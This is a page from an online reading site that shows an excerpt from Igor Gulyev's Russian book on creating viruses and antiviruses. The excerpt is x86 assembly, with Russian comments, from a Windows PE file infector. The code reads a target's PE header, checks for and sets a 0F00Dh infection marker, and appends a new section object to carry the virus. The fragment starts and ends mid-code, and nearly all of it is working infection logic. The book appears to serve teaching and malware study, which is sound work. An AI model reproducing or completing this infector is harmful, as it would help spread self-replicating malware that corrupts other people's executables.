Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 27

Название: Создаем вирус и антивирус

Автор: Игорь Гульев

Издательство:

Жанр: Компьютеры: прочее

Серия:

isbn: 5-89818-087-7

isbn:

СКАЧАТЬ eax,–1

      jz findnextone

      ;Поставим указатель позиции чтения/записи на поле

      ;со смещением PE−заголовка

      push 0

      push 0

      push 3Ch

      push dword ptr [ebp+offset ahand]

      call SetFilePointer

      ;Считаем адрес PE−заголовка

      push 0

      lea eax,[ebp+offset bytesread]

      push eax

      push 4

      lea eax,[ebp+offset peheaderoffset]

      push eax

      push dword ptr [ebp+offset ahand]

      call ReadFile

      ;Поставим указатель позиции чтения/записи на начало PE−заголовка

      push 0

      push 0

      push dword ptr [ebp+offset peheaderoffset]

      push dword ptr [ebp+offset ahand]

      call SetFilePointer

      ;Считаем число байт, достаточное для вычисления полного размера

      ;PE−заголовка и таблицы объектов

      push 0

      lea eax,[ebp+offset bytesread]

      push eax

      push 58h

      lea eax,[ebp+offset peheader]

      push eax

      push dword ptr [ebp+offset ahand]

      call ReadFile

      ;Проверим сигнатуру. Если ее нет, закрываем

      ;этот файл и ищем следующий

      cmp dword ptr [ebp+offset peheader],00004550h;

      jnz notape

      ;Проверим файл на зараженность. Если файл заражен,

      ;то закрываем этот файл и ищем следующий

      cmp word ptr [ebp+offset peheader+4ch],0F00Dh

      jz notape

      cmp dword ptr [ebp+offset 52],4000000h

      jz notape

      ;Поставим указатель позиции чтения/записи на начало PE−заголовка

      push 0

      push 0

      push dword ptr [ebp+offset peheaderoffset]

      push dword ptr [ebp+offset ahand]

      call SetFilePointer

      ;Считаем весь PE−заголовок и таблицу объектов

      push 0

      lea eax,[ebp+offset bytesread]

      push eax

      push dword ptr [ebp+offset headersize]

      lea eax,[ebp+offset peheader]

      push eax

      push dword ptr [ebp+offset ahand]

      call ReadFile

      ;Установим признак заражения

      mov word ptr [ebp+offset peheader+4ch],0F00Dh

      ;Найдем смещение таблицы объектов

      xor eax,eax

      mov ax, word ptr [ebp+offset NtHeaderSize]

      add eax,18h

      mov dword ptr [ebp+offset ObjectTableoffset],eax

      ;Вычислим смещение последнего (null) объекта в таблице объектов

      mov esi,dword ptr [ebp+offset ObjectTableoffset]

      lea eax,[ebp+offset peheader]

      add esi,eax

      xor eax,eax

      mov ax,[ebp+offset numObj]

      mov ecx,40

      xor edx,edx

      mul ecx

      add esi,eax

      ;Увеличим число объектов на 1

      inc word ptr [ebp+offset numObj]

      lea edi,[ebp+offset newobject]

      xchg edi,esi

      ;Вычислим относительный виртуальный адрес (Relative Virtual Address

      ;или RVA) нового объекта

      mov eax,[edi−5*8+8]

      add eax,[edi−5*8+12]

      mov ecx,dword ptr [ebp+offset objalign]

      xor edx,edx

      div ecx

      inc eax

      mul ecx

      mov dword ptr [ebp+offset RVA],eax

      ;Вычислим физический размер нового объекта

      mov ecx,dword ptr [ebp+offset filealign]

      mov СКАЧАТЬ